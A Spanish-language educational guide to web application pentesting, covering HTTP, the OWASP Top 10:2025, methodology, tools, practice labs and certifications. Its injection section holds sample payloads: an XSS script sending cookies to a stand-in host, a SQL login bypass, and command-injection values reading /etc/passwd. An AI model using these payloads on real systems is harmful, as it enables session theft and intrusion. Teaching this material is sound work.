Hacking web: guía completa de pentesting de aplicaciones (2026)

El hacking web —o pentesting de aplicaciones web— es la disciplina ofensiva que más oportunidades laborales genera hoy en ciberseguridad. Casi toda la superficie de ataque de una empresa moderna pasa por un navegador: portales de clientes, APIs, paneles de administración, tiendas online. Saber romper esas aplicaciones —legalmente, con permiso y metodología— es la habilidad que distingue a un pentester junior de un profesional con alta demanda.

Esta guía cubre la seguridad web de arriba a abajo: desde los fundamentos de HTTP hasta el OWASP Top 10 vigente, la metodología real de un pentest, las herramientas imprescindibles, cómo practicar en laboratorio y qué certificaciones demuestran tu nivel. Todo con profundidad técnica, sin relleno.

Aviso legal: las técnicas descritas en esta guía están pensadas exclusivamente para aplicarse en sistemas propios, entornos de laboratorio o con autorización escrita del propietario. Atacar sistemas sin permiso es un delito en España (art. 197 bis CP) y en la mayoría de países. Esta guía es informacional y educativa.

Qué es la seguridad de aplicaciones web y por qué es crítica

Una aplicación web es cualquier software que se ejecuta en un servidor y se consume a través de un navegador o cliente HTTP. Eso incluye desde un simple blog hasta un banco online con millones de usuarios. La seguridad de aplicaciones web (también llamada AppSec o web application security) es el conjunto de prácticas, técnicas y controles que protegen esas aplicaciones de ser comprometidas.

¿Por qué es crítica? Tres razones concretas:

• Exposición universal. Los puertos 80 y 443 son los más abiertos de internet. Cualquier aplicación con un dominio es, por definición, atacable desde cualquier lugar del mundo.
• Impacto directo sobre el negocio. Una vulnerabilidad en una aplicación web puede traducirse en robo de credenciales, filtración de datos de clientes, acceso a la infraestructura interna o pérdidas económicas directas (fraude, multas RGPD).
• Superficie en expansión. La proliferación de APIs REST, microservicios, SPAs en JavaScript y aplicaciones móviles que consumen backends web ha multiplicado la superficie de ataque. Según el Informe Verizon DBIR, más del 40 % de las brechas confirmadas implican algún componente de aplicación web.

La seguridad web no es solo cosa de «hackers»: es un requisito de negocio. Las organizaciones contratan pentesters web para encontrar sus fallos antes que los atacantes, y los desarrolladores necesitan entender estas vulnerabilidades para no crearlas en primer lugar.

Cómo funciona la web: HTTP, sesiones y la misma política de origen

Para entender las vulnerabilidades web hay que entender primero cómo funciona la web. Sin esta base, los ataques son magia negra; con ella, son consecuencias lógicas de cómo fue diseñado el protocolo.

HTTP y HTTPS

HTTP (HyperText Transfer Protocol) es el protocolo de capa de aplicación que define cómo se comunican un cliente (navegador) y un servidor web. Funciona sobre el modelo petición-respuesta: el cliente envía una request (GET, POST, PUT, DELETE…), el servidor responde con un código de estado y un cuerpo.

Una petición HTTP típica tiene esta estructura:

POST /login HTTP/1.1
Host: ejemplo.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

username=admin&password=hunter2

La respuesta incluye cabeceras (código de estado, tipo de contenido, cabeceras de seguridad) y el cuerpo (HTML, JSON, etc.).

HTTPS añade TLS sobre HTTP: cifra el tránsito para que nadie en la red pueda leerlo ni manipularlo. Importante: HTTPS protege el canal, no la aplicación. Una aplicación con SQL injection sigue siendo vulnerable aunque use HTTPS.

Cookies y sesiones

HTTP es un protocolo stateless (sin estado): cada petición es independiente. Para que una aplicación «recuerde» que estás autenticado, usa cookies. Cuando inicias sesión, el servidor crea una sesión en su base de datos y te envía un identificador de sesión en una cookie (Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax).

Los atributos de la cookie son críticos en seguridad:

• HttpOnly: JavaScript no puede leer la cookie (mitiga XSS que roba sesiones).
• Secure: solo se envía por HTTPS.
• SameSite=Lax/Strict: controla cuándo se envía la cookie en peticiones cross-site (mitiga CSRF).

La política del mismo origen (Same-Origin Policy)

La Same-Origin Policy (SOP) es la regla de seguridad fundamental del navegador: un script en https://a.com no puede leer la respuesta de una petición a https://b.com. El «origen» se define como la combinación de esquema + dominio + puerto.

Esto impide que un sitio malicioso lea tus datos en otro sitio. Pero existen excepciones y mecanismos diseñados para relajar esta política —CORS, iframes, postMessage— que, mal configurados, se convierten en vectores de ataque.

Tokens JWT y APIs modernas

Muchas aplicaciones modernas (SPAs, apps móviles) no usan cookies de sesión sino tokens JWT (JSON Web Token): un objeto firmado digitalmente que el cliente almacena en localStorage o memoria y envía en cada petición en la cabecera Authorization: Bearer <token>. Los JWT son populares en APIs REST. Sus riesgos propios incluyen algoritmos de firma débiles (alg: none), claves secretas débiles y almacenamiento inseguro en el cliente.

OWASP Top 10:2025 — Las vulnerabilidades más críticas

El OWASP Top 10 es la lista de referencia de los riesgos de seguridad más críticos en aplicaciones web. La versión vigente es la OWASP Top 10:2025, publicada en noviembre de 2025 (presentada en OWASP Global AppSec Washington D.C.) y finalizada en enero de 2026. Sustituye a la versión de 2021. Se analizaron más de 175.000 CVEs y se mapearon 248 CWEs. A continuación, cada categoría con ejemplo conceptual y mitigación.

A01:2025 — Control de acceso roto (Broken Access Control)

Sigue en el puesto número uno. Ocurre cuando la aplicación no verifica correctamente si el usuario tiene permiso para realizar una acción o acceder a un recurso. Engloba IDOR (Insecure Direct Object Reference), escalada de privilegios vertical/horizontal, bypass de restricciones por manipulación de parámetros o cabeceras, y —novedad en 2025— absorbe también SSRF (Server-Side Request Forgery).

Ejemplo: cambiando el parámetro ?user_id=1234 por ?user_id=1235 en una petición, puedes acceder al perfil de otro usuario porque el servidor no comprueba que 1235 te pertenece.

Prevención: implementar control de acceso en el servidor (nunca solo en el cliente), usar un modelo de «deny by default» (todo denegado salvo lo explícitamente permitido), registrar y alertar fallos de acceso.

A02:2025 — Mala configuración de seguridad (Security Misconfiguration)

Sube del puesto 5 (2021) al 2 (2025). Incluye: cabeceras de seguridad HTTP ausentes (Content-Security-Policy, X-Frame-Options…), páginas de error que exponen stack traces, servicios de cloud con permisos excesivos (S3 buckets públicos), cuentas por defecto no cambiadas, directorios de depuración accesibles en producción.

Ejemplo: un panel de administración de base de datos (phpMyAdmin) accesible en /phpmyadmin con credenciales por defecto (root/root).

Prevención: hardening automatizado del entorno, revisar configuraciones con herramientas de escaneo, proceso de revisión antes de cada despliegue, eliminar funcionalidades innecesarias.

A03:2025 — Fallos en la cadena de suministro de software (Software Supply Chain Failures)

Nuevo en 2025. Cubre riesgos introducidos por dependencias de terceros, herramientas de build, actualizaciones automáticas, pipelines CI/CD comprometidos y hasta plugins de IDEs. El ataque a SolarWinds (2020) y los ataques a paquetes npm maliciosos ejemplifican esta categoría.

Ejemplo: una librería npm usada por miles de proyectos es comprometida y publica una versión con código malicioso. Todos los proyectos que actualizan automáticamente ejecutan el malware.

Prevención: anclar versiones de dependencias (lockfiles), verificar firmas de paquetes (SLSA framework), auditar dependencias con npm audit o Dependabot, usar repositorios privados con control de calidad.

A04:2025 — Fallos criptográficos (Cryptographic Failures)

Baja del puesto 2 al 4. Engloba el cifrado ausente o incorrecto de datos sensibles: contraseñas almacenadas en texto plano o con hashes débiles (MD5, SHA-1 sin sal), comunicaciones sin cifrar, algoritmos criptográficos obsoletos (DES, RC4), IV predecibles, claves hardcodeadas en el código fuente.

Ejemplo: un dump de base de datos revela que las contraseñas están almacenadas con MD5 sin sal. Con una GPU de gama media se pueden crackear millones de hashes por segundo usando tablas rainbow.

Prevención: usar Argon2/bcrypt/scrypt para contraseñas, TLS 1.2+ para tránsito, AES-256-GCM para datos en reposo, no almacenar datos sensibles que no sean necesarios.

A05:2025 — Inyección (Injection)

Baja del puesto 3 al 5, pero sigue siendo una de las vulnerabilidades más explotadas. Ocurre cuando datos no validados se interpretan como código por el intérprete (SQL, OS, LDAP, XML, etc.).

SQL Injection (SQLi): el ataque de inyección más conocido. Si una consulta se construye concatenando entrada del usuario sin sanitizar:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

Un atacante puede enviar username = admin'-- para comentar la parte del password y autenticarse sin conocerla. Con SQLi avanzada (UNION-based, blind, time-based) se puede extraer toda la base de datos, leer archivos del sistema o ejecutar comandos.

XSS (Cross-Site Scripting): inyección de HTML/JavaScript en páginas web que se ejecuta en el navegador de otros usuarios. Tres tipos: reflejado (payload en la URL), almacenado (payload guardado en BD, se ejecuta en todos los que cargan la página) y DOM-based (manipulación del DOM sin pasar por el servidor).

<script>document.location='https://atacante.com/?c='+document.cookie</script>

Si este payload se inyecta en un comentario de un foro, cualquier usuario que lo cargue envía su cookie de sesión al atacante.

OS Command Injection: si la aplicación ejecuta comandos del sistema operativo con parámetros del usuario (ping $ip), un atacante puede inyectar ; cat /etc/passwd o && whoami.

Prevención: usar consultas parametrizadas (prepared statements) para SQL —nunca concatenar—, validar y escapar toda entrada, aplicar Content Security Policy para XSS, evitar llamadas al sistema operativo con datos del usuario.

A06:2025 — Diseño inseguro (Insecure Design)

Baja del puesto 4 al 6. No habla de fallos de implementación, sino de defectos en la arquitectura y el diseño: flujos de negocio que no contemplan casos de abuso, ausencia de modelado de amenazas, lógica de negocio explotable (cupones de descuento que se pueden aplicar infinitas veces, transferencias sin validar límites, flujos de recuperación de contraseña predecibles).

Prevención: threat modeling desde el diseño, pruebas de lógica de negocio como parte del pentest, principios de diseño seguro (separación de privilegios, fail-safe defaults).

A07:2025 — Fallos de autenticación (Broken Authentication)

Renombrado (en 2021 era «Identification and Authentication Failures»). Incluye: contraseñas débiles o por defecto, falta de protección contra fuerza bruta, tokens de sesión predecibles, ausencia de MFA en funciones críticas, gestión incorrecta de sesiones (sesiones que no se invalidan al cerrar sesión, tokens que no expiran).

Ejemplo: un formulario de login sin rate limiting ni CAPTCHA permite a un atacante probar millones de contraseñas por segundo (credential stuffing con listas de brechas anteriores).

Prevención: implementar MFA, rate limiting y bloqueo temporal, usar gestores de contraseñas y políticas de contraseñas robustas, invalidar sesiones correctamente, tokens con entropía suficiente.

A08:2025 — Fallos de integridad de software y datos (Software and Data Integrity Failures)

Cubre la asunción de que el código y los datos son íntegros sin verificarlo: actualizaciones automáticas sin validar firma, deserialización de objetos no confiables, pipelines CI/CD que ejecutan código de fuentes externas no verificadas.

Deserialización insegura: cuando una aplicación deserializa datos de una fuente no confiable (parámetros de URL, cookies, mensajes de API), un atacante puede manipular el objeto serializado para ejecutar código arbitrario en el servidor.

Prevención: verificar firmas digitales de actualizaciones y paquetes, no deserializar datos de fuentes no confiables sin un esquema estricto, usar formatos de datos simples (JSON con schema) en lugar de serialización nativa.

A09:2025 — Fallos de registro y monitorización (Logging and Monitoring Failures)

No es un vector de ataque directo, pero su ausencia convierte un incidente en un desastre. Si la aplicación no registra intentos de login fallidos, no monitoriza accesos a recursos sensibles y no alerta sobre anomalías, los ataques pasan desapercibidos durante meses (el tiempo medio de detección de brechas sigue siendo superior a 200 días según múltiples estudios).

Prevención: registrar eventos de seguridad (autenticaciones, fallos, accesos a datos sensibles), centralizar logs en un SIEM, configurar alertas sobre patrones de ataque, proteger los logs contra manipulación.

A10:2025 — Manejo incorrecto de condiciones excepcionales (Mishandling of Exceptional Conditions)

Nuevo en 2025. Cubre el manejo incorrecto de errores y condiciones no previstas: páginas de error que revelan rutas del sistema o versiones de software, manejo inconsistente de entradas inesperadas que causa comportamientos lógicos explotables, errores que no se registran ni se gestionan.

Ejemplo: al enviar un tipo de dato inesperado a un endpoint API ("amount": "abc"), el servidor devuelve un stack trace con la ruta completa del fichero, la versión del framework y la consulta SQL interna.

Prevención: capturar todas las excepciones y devolver mensajes de error genéricos al usuario (detalles solo en logs internos), testing de robustez con fuzzing, validación estricta de tipos en las entradas.

Metodología de un pentest web

Un pentest web profesional no es «intentar cosas hasta que algo rompa». Sigue una metodología estructurada para ser reproducible, completo y documentable. Las fases principales, siguiendo estándares como PTES y OWASP Testing Guide:

Fase 1: Alcance y reglas de compromiso

Antes de tocar nada: acordar con el cliente qué aplicaciones están en alcance, qué está fuera de límites (entornos de producción que no se pueden interrumpir, datos de usuarios reales), horarios permitidos y cómo escalar si se encuentra algo crítico. Todo por escrito. Sin autorización formal, no hay pentest; hay delito.

Fase 2: Reconocimiento (Recon)

Recopilación de información sobre el objetivo sin interactuar directamente (OSINT pasivo) y con interacción mínima (OSINT activo):

• Subdominios: subfinder, amass, búsquedas en Certificate Transparency Logs (crt.sh).
• Tecnologías: Wappalyzer, cabeceras HTTP, whatweb.
• Información pública: repositorios GitHub con credenciales hardcodeadas, ficheros en Google (dork: site:empresa.com filetype:env), LinkedIn para enumerar tecnologías usadas.
• DNS y registros: dig, host, transferencias de zona si las hay.

Fase 3: Mapeo y enumeración

Exploración activa de la aplicación para entender su superficie: páginas y endpoints, parámetros de entrada, flujos de autenticación, funciones de carga de ficheros, APIs. Herramientas: Burp Suite (proxy y spider), ffuf/gobuster para fuerza bruta de directorios y endpoints.

Fase 4: Análisis de vulnerabilidades

Identificar posibles vulnerabilidades en los componentes mapeados: ¿hay parámetros que podrían ser inyectables? ¿El control de acceso se aplica en todos los endpoints? ¿Hay cabeceras de seguridad ausentes? Se combina escaneo automático (ZAP, Nikto) con análisis manual (imprescindible: los escáneres automatizados tienen un altísimo porcentaje de falsos negativos en lógica de negocio).

Fase 5: Explotación

Intentar explotar las vulnerabilidades identificadas para demostrar su impacto real. El objetivo no es simplemente «detectar» sino demostrar qué puede hacer un atacante real: extraer datos, escalar privilegios, moverse lateralmente. La explotación debe ser controlada para no causar daño.

Fase 6: Post-explotación

Una vez obtenido acceso, explorar el impacto completo: ¿qué datos son accesibles? ¿Se puede escalar al servidor o a la red interna? ¿Hay credenciales reutilizadas? Esta fase determina la severidad real de la vulnerabilidad.

Fase 7: Informe

El informe es el entregable más importante: es lo que el cliente puede leer para priorizar y remediar. Un buen informe incluye resumen ejecutivo (para directivos), hallazgos técnicos (descripción, evidencia —capturas, peticiones HTTP—, CVSS, pasos para reproducir), y recomendaciones de remediación concretas. Sin un buen informe, el mejor pentest técnico no sirve de nada.

Herramientas imprescindibles para el pentesting web

No existe un único «toolkit» perfecto, pero hay herramientas que cualquier pentester web usa en prácticamente todos sus trabajos.

Burp Suite

La herramienta central del pentesting web. Es un proxy interceptor que se sitúa entre tu navegador y la aplicación, permitiéndote ver, modificar y repetir cualquier petición HTTP. Las funciones clave incluyen: Intercept (modifica peticiones en tiempo real), Repeater (reenvía y modifica peticiones para probar payloads), Intruder (ataques de fuerza bruta y fuzzing), Scanner (activo e integrado en la versión Pro), Decoder y Comparer.

La versión Community Edition es gratuita; la Professional cuesta 499 USD/año y añade el scanner automático, Intruder sin throttling y extensiones avanzadas del BApp Store (como el popular extensión para JWT). La versión Pro es prácticamente imprescindible para trabajo profesional.

OWASP ZAP (Zed Attack Proxy)

La alternativa open source de OWASP a Burp Suite. Completamente gratuita. Funciona como proxy interceptor con escáner activo integrado, modo de araña automática, fuzzer y soporte para automatización vía API y línea de comandos (ideal para integrar en pipelines CI/CD). No tiene la misma profundidad de análisis manual que Burp, pero su coste cero y su modo automatizado lo hacen muy popular para escaneos de desarrollo continuo.

sqlmap

La herramienta de referencia para detectar y explotar SQL injection de forma automatizada. Soporta todos los tipos de SQLi (in-band, blind, time-based, error-based), múltiples bases de datos (MySQL, PostgreSQL, Oracle, SQL Server, SQLite…) y puede automatizar desde la detección hasta la extracción de la base de datos completa, obtención de sistema de ficheros o ejecución de comandos. Uso básico:

sqlmap -u "https://ejemplo.com/producto?id=1" --dbs

Importante: sqlmap genera mucho tráfico, fácilmente detectable por un WAF o IDS. Usar siempre con permiso.

ffuf y gobuster

ffuf (Fuzz Faster U Fool) y gobuster son herramientas de fuerza bruta de rutas, archivos, subdominios y parámetros HTTP. Envían miles de peticiones usando una lista de palabras (wordlist) para descubrir rutas ocultas, paneles de administración, endpoints de API no documentados o ficheros de configuración expuestos.

ffuf -u https://ejemplo.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403

La wordlist más usada en pentesting web es SecLists de Daniel Miessler, disponible en GitHub.

Nmap

El escáner de puertos y servicios más usado del mundo. En el contexto del pentesting web se usa principalmente en la fase de reconocimiento para identificar qué servicios corren en el servidor, qué versión del servidor web se usa, si hay paneles de administración en puertos no estándar, y para detección de vulnerabilidades conocidas con el motor de scripts NSE (--script vuln). Si quieres dominar Nmap, tenemos una cheat sheet completa de comandos Nmap.

Nikto

Escáner de vulnerabilidades web de línea de comandos. Comprueba contra una base de datos de más de 6.700 ficheros y programas potencialmente peligrosos, versiones desactualizadas de servidores, problemas de configuración y cabeceras de seguridad ausentes. No es un escáner de inyección (para eso está ZAP o Burp), pero es muy rápido para auditorías básicas de configuración:

nikto -h https://ejemplo.com

Otras herramientas notables

• Wfuzz: fuzzer web similar a ffuf, muy popular en HTB y CTFs.
• Metasploit Framework: plataforma de explotación que también incluye módulos web.
• dirsearch: enumerador de directorios en Python, sencillo y efectivo.
• jwt_tool: herramienta especializada para auditar y atacar JSON Web Tokens.
• Nuclei: motor de templates para escaneos rápidos y automatizados con una biblioteca masiva de checks de vulnerabilidades conocidas.
• Caido: alternativa moderna a Burp Suite, interfaz web, en auge en 2025-2026.

Cómo aprender y practicar hacking web LEGALMENTE

La práctica es imprescindible: puedes leer sobre SQL injection durante horas, pero explotarla en un laboratorio te enseña más en 30 minutos. Estas son las plataformas y recursos más recomendados:

PortSwigger Web Security Academy

La mejor plataforma gratuita de aprendizaje de seguridad web del mundo, sin discusión. Creada por los mismos autores de Burp Suite, cubre desde XSS básico hasta ataques avanzados como prototype pollution, HTTP request smuggling, OAuth vulnerabilities y business logic flaws. Cada módulo combina teoría con más de 200 laboratorios prácticos en entornos reales. Completamente gratuita con registro. Es el recurso número uno para preparar el BSCP y para cualquier aspirante a pentester web.

URL oficial: portswigger.net/web-security

DVWA (Damn Vulnerable Web Application)

Aplicación web PHP/MySQL deliberadamente vulnerable, diseñada para practicar las vulnerabilidades más comunes en un entorno local controlado. Tiene niveles de dificultad (Low, Medium, High, Impossible) y muestra el código fuente para entender tanto el ataque como la corrección. Ideal para comenzar: instalable en cualquier PC con XAMPP o Docker. Gratuita y open source.

OWASP Juice Shop

La aplicación vulnerable más moderna y completa: un e-commerce ficticio en Node.js/Angular con más de 100 desafíos que cubren prácticamente todas las categorías del OWASP Top 10 y más. Es más realista que DVWA y tiene integrado un panel de progreso (scoreboard). Se ejecuta en Docker en segundos:

docker run -p 3000:3000 bkimminich/juice-shop

HackTheBox (HTB) y TryHackMe — rutas web

Ambas plataformas tienen rutas de aprendizaje específicas de seguridad web con máquinas y challenges centrados en vulnerabilidades web reales. TryHackMe es más guiado y accesible para principiantes; HackTheBox es más exigente y representa mejor los exámenes de certificaciones como el BSCP u OSWE. HTB tiene además la categoría «Web Challenges» con cientos de retos de aplicaciones web. En nuestro sitio encontrarás nuestra comparativa completa de las mejores plataformas para practicar hacking.

WebGoat (OWASP)

Aplicación deliberadamente insegura de OWASP en Java. A diferencia de DVWA y Juice Shop, WebGoat es guiado: cada módulo explica el concepto, muestra el ataque y pide al usuario que lo reproduzca antes de avanzar. Muy didáctico para aprender el porqué de cada vulnerabilidad.

Ruta de aprendizaje recomendada

Si partes de cero en hacking web: (1) Empieza con los fundamentos de HTTP y las herramientas de desarrollador del navegador. (2) Completa los módulos de SQL injection, XSS y autenticación en PortSwigger Academy. (3) Practica en DVWA nivel Low→Medium. (4) Pasa a Juice Shop para vulnerabilidades más complejas. (5) Máquinas de HackTheBox o TryHackMe de categoría web para simular un pentest real. Esta ruta te prepara para las primeras certificaciones de la especialidad. Puedes ver más recursos en nuestra guía de mejores cursos gratuitos de ciberseguridad.

Certificaciones de pentesting web

Si quieres demostrar tu nivel a empleadores o clientes, las certificaciones prácticas tienen mucho más valor que los conocimientos teóricos en el mercado laboral. Estas son las más reconocidas en la especialidad de seguridad web:

eWPT y eWPTX — INE Security

El eWPT (eLearnSecurity Web Penetration Tester, ahora de INE Security) es el punto de entrada en certificaciones prácticas de pentesting web: examen práctico de aplicaciones web reales, con un informe como entregable —igual que en el mundo real—. Válida 3 años. El eWPTX (eXtreme) es el nivel avanzado: cubre ataques más complejos, bypass de WAF, API testing y metodología avanzada. En marzo de 2026, INE también actualizó el eJPT con mayor cobertura de web app pentesting. Para más contexto sobre certificaciones de seguridad ofensiva, consulta nuestra guía de las mejores certificaciones de seguridad ofensiva.

GWAPT — GIAC

El GWAPT (GIAC Web Application Penetration Tester) está asociado al curso SEC542 de SANS y es reconocido especialmente en entornos enterprise y gubernamentales (incluido en la lista COOL del Departamento de Defensa de EE. UU.). Coste del examen: 999 USD. Válida 4 años, renovable con 36 CPEs. Reconocida en ofertas que requieren aval de empresa.

BSCP — Burp Suite Certified Practitioner

El BSCP de PortSwigger es una certificación práctica de 4 horas con dos aplicaciones web reales y seis fases que deben superarse en orden. Open book (puedes usar internet y herramientas, pero el tiempo es justo). Requiere Burp Suite Professional ($499/año). El examen cuesta $99 por intento. Válida 5 años. Es la certificación más directamente alineada con las pruebas de PortSwigger Academy y con el uso de Burp Suite en el trabajo real.

OSWE — OffSec Web Expert

El OSWE de OffSec (curso WEB-300) es la certificación de mayor prestigio en pentesting web avanzado. Se diferencia radicalmente de las anteriores: es un examen de white box (código fuente disponible) de 47 horas y 45 minutos. El candidato debe revisar el código fuente de aplicaciones reales para identificar vulnerabilidades sutiles (deserialización, SQL injection blind, encadenamiento de exploits) y escribir exploits funcionales. No expira. Prerrequisito recomendado: OSCP o experiencia equivalente. Es el escalón superior del itinerario de seguridad ofensiva web. Puedes ver cómo encaja en el panorama general en nuestro mapa de certificaciones de seguridad.

Para una visión completa del camino de certificación, desde el nivel junior hasta el experto, consulta nuestra guía sobre la certificación OSCP —el punto de inflexión habitual antes de OSWE— y los recursos para preparar el OSCP.

Bug bounty web: encontrar vulnerabilidades reales y cobrar por ello

Un programa de bug bounty es un acuerdo por el que una empresa paga a investigadores externos por reportar vulnerabilidades de seguridad en sus sistemas. Es la forma más legítima de practicar hacking web en aplicaciones reales (con el permiso explícito de las empresas). Las dos plataformas principales son HackerOne y Bugcrowd, aunque también existen Intigriti, YesWeHack y programas propios de grandes empresas (Google, Microsoft, Meta, Apple…).

Las recompensas van desde 100 USD por vulnerabilidades de baja severidad hasta más de 100.000 USD por críticas en programas de alto valor. HackerOne reportó 81 millones de dólares en pagos a investigadores en 2025. Las vulnerabilidades más pagadas son típicamente: ejecución remota de código (RCE), bypass de autenticación, SSRF con impacto en infraestructura interna, y vulnerabilidades en APIs que exponen datos masivos.

Cómo empezar en bug bounty

• Empieza con programas con amplio scope y muchos assets (más superficie = más oportunidades).
• Lee los programas cuidadosamente: qué está en scope, qué no, qué vulnerabilidades son ineligibles (DoS, spam, clickjacking sin impacto…).
• Especialízate: es mejor ser muy bueno en XSS o IDOR que mediocre en todo.
• Aprende a escribir buenos reportes: un reporte claro, con prueba de concepto y pasos de reproducción, tiene más probabilidades de ser pagado y pagado bien.
• Empieza en programas «private» (por invitación) o en plataformas que permitan practicar (HackTheBox Bug Bounty, Intigriti tiene un «practice» scope).

Cómo montar un laboratorio de hacking web en casa

Un laboratorio local te permite practicar sin restricciones, sin pagar y sin riesgo legal. La base mínima:

Opción 1: Docker (la más sencilla)

Docker permite levantar aplicaciones vulnerables en segundos sin afectar al sistema host. Un setup básico:

# DVWA
docker run -d -p 8080:80 vulnerables/web-dvwa

# Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop

# WebGoat
docker run -d -p 8081:8080 webgoat/webgoat

Con estas tres aplicaciones y Burp Suite Community Edition en tu máquina tienes un laboratorio de hacking web completo y gratuito.

Opción 2: Kali Linux + aplicaciones vulnerables

Kali Linux incluye Burp Suite, sqlmap, nikto, ffuf, gobuster y decenas de herramientas preinstaladas. Puedes usarlo como máquina virtual en VirtualBox/VMware y atacar las aplicaciones vulnerables levantadas con Docker en el mismo host o en otra VM.

Opción 3: Entornos de práctica en la nube

TryHackMe y HackTheBox son esencialmente laboratorios web en la nube: levantan máquinas vulnerables bajo demanda a las que te conectas por VPN. Eliminan la complejidad de configuración a cambio de una suscripción (TryHackMe desde ~14 USD/mes, HTB desde ~14 USD/mes).

Añadir realismo: aplicaciones custom

Para un laboratorio avanzado, montar tus propias aplicaciones vulnerables en lenguajes que quieras aprender (Flask, Laravel, Spring Boot…) e introducir vulnerabilidades intencionadas te enseña tanto la perspectiva del atacante como la del desarrollador. Este es el tipo de práctica que prepara para el OSWE (white box con código fuente).

Errores comunes del que empieza en hacking web

• Depender exclusivamente de herramientas automáticas. Nikto y ZAP son útiles, pero los escáneres automatizados no detectan lógica de negocio rota, IDOR o vulnerabilidades que requieren contexto. El análisis manual es imprescindible.
• Ignorar el código fuente cuando está disponible. En white box testing (y en el OSWE), el código fuente es tu aliado más poderoso. Desarrollar la capacidad de leer código PHP, Java o Python buscando patrones vulnerables marca la diferencia.
• No documentar durante el pentest. Las capturas, peticiones y respuestas que pareces no necesitar en el momento se convierten en imprescindibles al escribir el informe. Documenta todo desde el principio.
• Saltarse el recon. La fase de reconocimiento revela assets que no estaban en el brief inicial, subdominios olvidados y tecnologías desactualizadas. Las mejores vulnerabilidades suelen encontrarse en la «periferia» de la aplicación.
• Enfocarse solo en las vulnerabilidades «sexys» (RCE, SQLi). En la mayoría de pentests reales, los hallazgos más comunes son configuraciones incorrectas, cabeceras ausentes, control de acceso roto e information disclosure. No los menosprecies.
• No entender HTTP antes de usar Burp. Sin comprender peticiones, respuestas, cabeceras y cookies, Burp Suite es una caja negra. Invierte tiempo en entender el protocolo primero.
• Atacar fuera del scope. En un pentest real o en un programa de bug bounty, ir fuera del scope acordado puede tener consecuencias legales. Nunca asumas que algo está en scope: confirma siempre.

Recursos recomendados

Libros

• The Web Application Hacker’s Handbook (Stuttard & Pinto) — la biblia del pentesting web, algo anticuado pero sólido en fundamentos.
• Real-World Bug Hunting (Peter Yaworski) — casos reales de bug bounty con HackerOne, muy didáctico.
• The Hacker Playbook 3 (Peter Kim) — enfoque práctico, cubre pentesting web en escenarios reales.

Cursos y plataformas

• PortSwigger Web Security Academy — gratuita, la mejor.
• TryHackMe — rutas guiadas de hacking web.
• HackTheBox — labs y challenges web avanzados.
• INE Security — cursos para eWPT/eWPTX.
• SANS SEC542 — formación para GWAPT (coste elevado, nivel enterprise).

Recursos gratuitos adicionales

• OWASP Testing Guide (WSTG) — guía de testing más completa disponible, gratuita.
• SecLists (GitHub) — colección de wordlists para fuzzing y enumeración.
• OWASP Top 10:2025 oficial.

Si estás empezando desde cero en ciberseguridad, te recomendamos primero nuestra guía cómo empezar en ciberseguridad desde cero, y si quieres ver el panorama completo de la especialización ofensiva, el mapa de certificaciones de seguridad te dará una visión completa del camino.

Preguntas frecuentes sobre hacking web

¿Es lo mismo hacking web que pentesting web?

En la práctica, sí se usan como sinónimos cuando se habla de seguridad ofensiva. «Hacking web» es el término más coloquial; «pentesting web» o «penetration testing de aplicaciones web» es el término profesional que se usa en contratos y certis. Ambos se refieren a la evaluación activa de la seguridad de aplicaciones web buscando vulnerabilidades.

¿Necesito saber programar para hacer pentesting web?

No es imprescindible al principio, pero a largo plazo hace una diferencia enorme. Saber leer Python, PHP o JavaScript te permite entender el código fuente de las aplicaciones (white box), escribir exploits propios y automatizar tareas. Para empezar, con conocimientos básicos de HTML, HTTP y algo de scripting en Python o Bash es suficiente.

¿Cuánto gana un pentester web?

En España, un pentester web junior con 1-2 años de experiencia y alguna certificación práctica puede ganar entre 28.000 y 40.000 EUR brutos anuales. Con 3-5 años y certificaciones como OSWE u OSCP, el rango sube a 45.000-65.000 EUR. En posiciones de consultoría especializada o remoto para empresas internacionales, el techo puede ser considerablemente mayor. Los salarios varían mucho según empresa, ciudad y si es consultoría o empresa interna.

¿Cuál es la diferencia entre hacking ético y pentesting?

El hacking ético es el término paraguas para toda actividad de seguridad ofensiva realizada con autorización. El pentesting (penetration testing) es una modalidad específica: un ejercicio formal y acotado para evaluar la seguridad de un sistema, con alcance definido, metodología y entregable. Todo pentesting es hacking ético, pero el hacking ético incluye también red teaming, bug bounty, CTFs y otras actividades.

¿Cuánto tiempo se tarda en aprender pentesting web?

Depende de la dedicación y los conocimientos previos. Con los fundamentos de redes y Linux claros, una persona que dedica 10-15 horas semanales puede completar los módulos básicos de PortSwigger Academy y resolver las primeras máquinas web de HTB/TryHackMe en 3-6 meses. Conseguir la primera certificación práctica (eWPT o BSCP) en 6-12 meses es un objetivo realista. El OSWE requiere normalmente 1-2 años de práctica previa sólida.

¿Qué diferencia hay entre un pentest de caja negra, gris y blanca?

La metáfora de la «caja» describe el nivel de información que tiene el pentester. Caja negra (black box): el tester no tiene información previa sobre la aplicación (simula a un atacante externo). Caja gris (grey box): el tester tiene información parcial (credenciales de usuario normal, documentación básica). Caja blanca (white box): el tester tiene acceso completo al código fuente, arquitectura y documentación. Es el más exhaustivo; el OSWE lo evalúa explícitamente.

¿Dónde se puede practicar hacking web de forma gratuita?

Las mejores opciones gratuitas son: PortSwigger Web Security Academy (laboratorios online sin instalación), DVWA y Juice Shop en local con Docker, el nivel gratuito de TryHackMe, y los challenges web gratuitos de HackTheBox. Puedes ver más opciones en nuestra guía de mejores plataformas para practicar hacking y en la de cursos gratuitos de ciberseguridad.

¿El OWASP Top 10 cambia cada año?

No: el OWASP Top 10 se actualiza cada 3-4 años aproximadamente. La versión anterior era de 2021; la versión actual es la OWASP Top 10:2025, publicada en noviembre de 2025. Se basa en datos reales de CVEs, CWEs y encuestas a profesionales, no en tendencias de moda. Es un documento de referencia de la industria, no un ranking mensual.

Para explorar más el universo de la ciberseguridad ofensiva, visita nuestra sección de cursos y certificaciones o vuelve al mapa de certificaciones para ver dónde encajan las certis de hacking web en tu itinerario profesional.